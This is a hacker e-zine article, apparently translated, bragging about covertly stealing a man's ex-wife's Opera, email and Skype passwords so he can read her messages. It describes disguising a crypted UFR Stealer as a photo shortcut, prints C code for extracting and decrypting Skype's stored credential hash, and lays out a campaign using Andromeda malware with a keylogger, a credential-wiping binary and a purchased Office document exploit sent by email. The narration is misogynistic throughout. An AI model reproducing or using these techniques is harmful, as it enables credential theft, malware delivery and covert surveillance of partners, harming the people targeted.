History of hacking

- I should write an article...
- Well, how about "Once upon a time…"
- Naw, it has to be about hackers.
- Well, how about "Once upon a time there was a hacker…"

Let's do this!
Today we will talk about hacks.
Perhaps I should tell you one of my unforgettable stories. One of my friends came to me with a request. He hesitated, didn't know how to start, but eventually told me everything. So, a middle-aged man found a young bride. He was happy and satisfied, thinking that only death would part them. However, at some point the sweet wife turned into a real bitch, wheels and all that. Instead of the kids and life of joy promised, the wife got her stuff and moved in with her mom, right after filing for divorce and taking the husband to the cleaners.

He had a heart attack... He came to visit me soon after that. He said that something was wrong and there had to be an explanation. Let's see why she is always hanging out on the odnoklassniki.ru. OMFG! Odnoklassniki again... Fucking social perverts! Oh well. He did need help! We had to get ready then.

I explained all the options to him. What options did we have? In theory, we could try launch a keylogger or a stealer, but under what pretense? On the other hand, we could retrieve her password to the e-mail, getting access to the latter using the "Secret Question". The dude was fond of his ex-wife and knew her pretty well. All these methods had one major drawback. The bitch was not supposed to find out she's been fucked over, so it had to be a covert operation. Thus, the password retrieval was not really an option. The only option left was trying to get hold of the pass using a stealer. The ex-beloved had been using Opera all her life...

A build of the classic UFR Stealer was prepared and crypted. The dude got the build on a flash drive. The build was put in a separate folder, while the shortcut was in the folder with photos. Obviously, the shortcut had a jpg. icon from the system library and had a name !ima3684. The exclamation mark was there to make sure the file would be the first on the list. The plan was for the dude to visit his ex and give her some kind of family photos (what do you know, the bitch was sentimental) They say we make our own luck: my fiend suddenly remembered that she had gone online from his laptop when he had been away. Yay! We launched the stealer on the laptop and there it was! The password was saved, duh! Either the dude had a serious case of amnesia or it never occurred to him somehow. I left him alone with her messages and went home...

After three or four days I got a call! Another heart attack... He called me from the hospital. Unbefuckinglievable! Their marriage was a set-up from the get-go, suggested by her fuckbuddy, so he had an impressive set of horns too. I felt sorry for him and asked if I could help with anything. He said that had he knew everything, but their conversation was mostly via Skype, so he needed the logs! Skype it was!

I used Google to get some information, but things did not look good. Skype it is not ICQ or Opera. Turns out, it's pretty fucked up when it comes to gaining access to someone's data. The thing is, when the password is stored, it's neither unencrypted nor hashed. The password gets mixed with the system ID in some magic way (HDD most liekly) and then gets its own hash that's later stored in the system.
Here is some reading on it http://www.skypetips.ru/skype_profile.htm
Checking… Bingo! All the data we need is in the file - "c:\Documents and Settings\user_name\Application Data\Skype\shared.xml", while the hash is stored here - "c:\Documents and Settings\user_name\Application Data\Skype\login_skype\config.xml".
But someone made a mistake. I discovered it watching this video -


This is the line we need.
Initially, this article got my attention:

I know that hash needs to be built this way:

unsigned long MD5_Skype_Password (const char *username, const char *password, unsigned char *hash128)
MD5_state skyper = MD5_INIT;
MD5_update (&skyper, username, (u32) strlen (username));
MD5_update (&skyper, "nskypern", 8);
MD5_update (&skyper, password, (u32) strlen (password));
MD5_end (&skyper);
memcpy (hash128, skyper.hash, 16);
return 16;


But something was not right. I continued googling and found the following:

To extract the Credentials ciphertext, you could read the contents of config.xml and scan for ‹Credentials3› and ‹/Credentials3› Here, I’m using LibXML

bool GetCredentials(BYTE ciphertext[], std::string config_xml) {    
    bool bFound = false;
    // try open config.xml
    xmlTextReaderPtr reader;
    reader = xmlReaderForFile(config_xml.c_str(), NULL, 0);
    // tested with Credentials2 or Credentials3
    const xmlChar *credentials; 
    credentials = (const xmlChar*)"Credentials";
    if (reader != NULL) {
      // while nodes are available
      while (xmlTextReaderRead(reader) == 1) {
        // get name
        const xmlChar *name;
        name = xmlTextReaderConstName(reader);
        if (name == NULL) continue;
        // equal to credentials we're searching for?
        if (xmlStrncmp(credentials, name, xmlStrlen(credentials)) == 0) {
          // read the next value
          if (xmlTextReaderRead(reader) == 1) {
            const xmlChar *value;
            value = xmlTextReaderConstValue(reader);
            for (int i = 0;i < 16;i++) {
              sscanf((const char*)&value, "%02x", &ciphertext);
            bFound = true;
    return bFound;

Obtain the salt which is passed to SHA-1 before being used to create AES key.

PBYTE GetSalt(DWORD &cbSalt) {
    BYTE aBlob[2048];
    DWORD cbSize = sizeof(aBlob);
    const char skype_path[] = "Software\Skype\ProtectedStorage";
    LSTATUS lStatus = SHGetValue(HKEY_CURRENT_USER, skype_path, 
        "0", 0, aBlob, &cbSize);
    if (lStatus != ERROR_SUCCESS) {
      printf("  Unable to open skype key : %08x", lStatus);
      return NULL;
    DATA_BLOB in, out;
    in.pbData = aBlob;
    in.cbData = cbSize;
    if (CryptUnprotectData(&in, NULL, NULL, NULL, 
        NULL, 0, &out)) {
      cbSalt = out.cbData;
      return out.pbData;
    } else {
      printf("  Unable to decrypt skype entry.");
    return NULL;

Then with both the ciphertext and salt, we can decrypt MD5 hash…

void DecryptHash(PBYTE pbCipherText, PBYTE pbSalt, DWORD cbSalt) {
    SHA_CTX ctx;
    AES_KEY key;
    u_int8_t dgst[40], buffer[AES_BLOCK_SIZE];
    memset(&buffer, 0, sizeof(buffer));
    // use counter mode + SHA-1 to generate key
    for (ULONG i = 0;i < 2;i++) {
      ULONG ulIndex = _byteswap_ulong(i);
      SHA1_Update(&ctx, &ulIndex, sizeof(ulIndex));
      SHA1_Update(&ctx, pbSalt, cbSalt);
      SHA1_Final(&dgst[i*20], &ctx);
    AES_set_encrypt_key(dgst, 256, &key);
    AES_encrypt(buffer, buffer, &key);
    printf("n  MD5 hash = ");
    // decrypt MD5 hash with XOR
    for (int i = 0;i < 16;i++) {
      printf("%02x", pbCipherText ^ buffer);


I made an attempt to decrypt my own password. I opened the configuration and got a line from it... I tried this way and that way but never got the initial combination. I changed places, changed the variants of combinations, but it was all for nothing. Either I was not so gifted after all or the algorithm had changed since then. Continuous Google search was unsuccessful. The line would not be decrypted. (I would like to discuss the links and materials above. My coder skills may not have been enough or I missed something. In the end, I would like to get software that will be able to make password recoveries. Back then, I had no time to waste and had to move on). What else could I do…

And suddenly I had it! We take an andromeda, crypt it, add keylogger plug. In the keylogger, set the skype.exe process Separately from all that we make a tiny binary code file that recursively searches for any config.xml files in Documents and Settings. If any line starts with ‹Credentials the data is deleted. We crypt and name it as a task in andromeda. Then, for an undisclosed amount of money, glue our andromeda with the doc file. The seller guaranteed it would work on a limited number of Office versions... We send it by e-mail and wait... Bingo!

Let me explain what just happened.

  • Changing or deleting the value of the ‹Credentials3› line doesn't cause an error but makes the user re-enter the password. It happens a lot with Skype, so no one really thinks twice when they need to are-enter password.
  • The entered password is caught by keylogger and sent to us.
  • Skype saves all history on the server, so we can read whatever we please without any problems.
  • The password was never changed and our victim never knew what hit her!

I sent the password to my friend and demanded my bottle of cognac. I left him there deep in his thoughts.

We are fortunate to have known the attack vectors and had all appropriate tools. Guys, never get married...

Every gorgeous babe
And every cute girlfriend
When given time and chance
May show her true colors

p.s. Cognac is still waiting ...


Inception E-Zine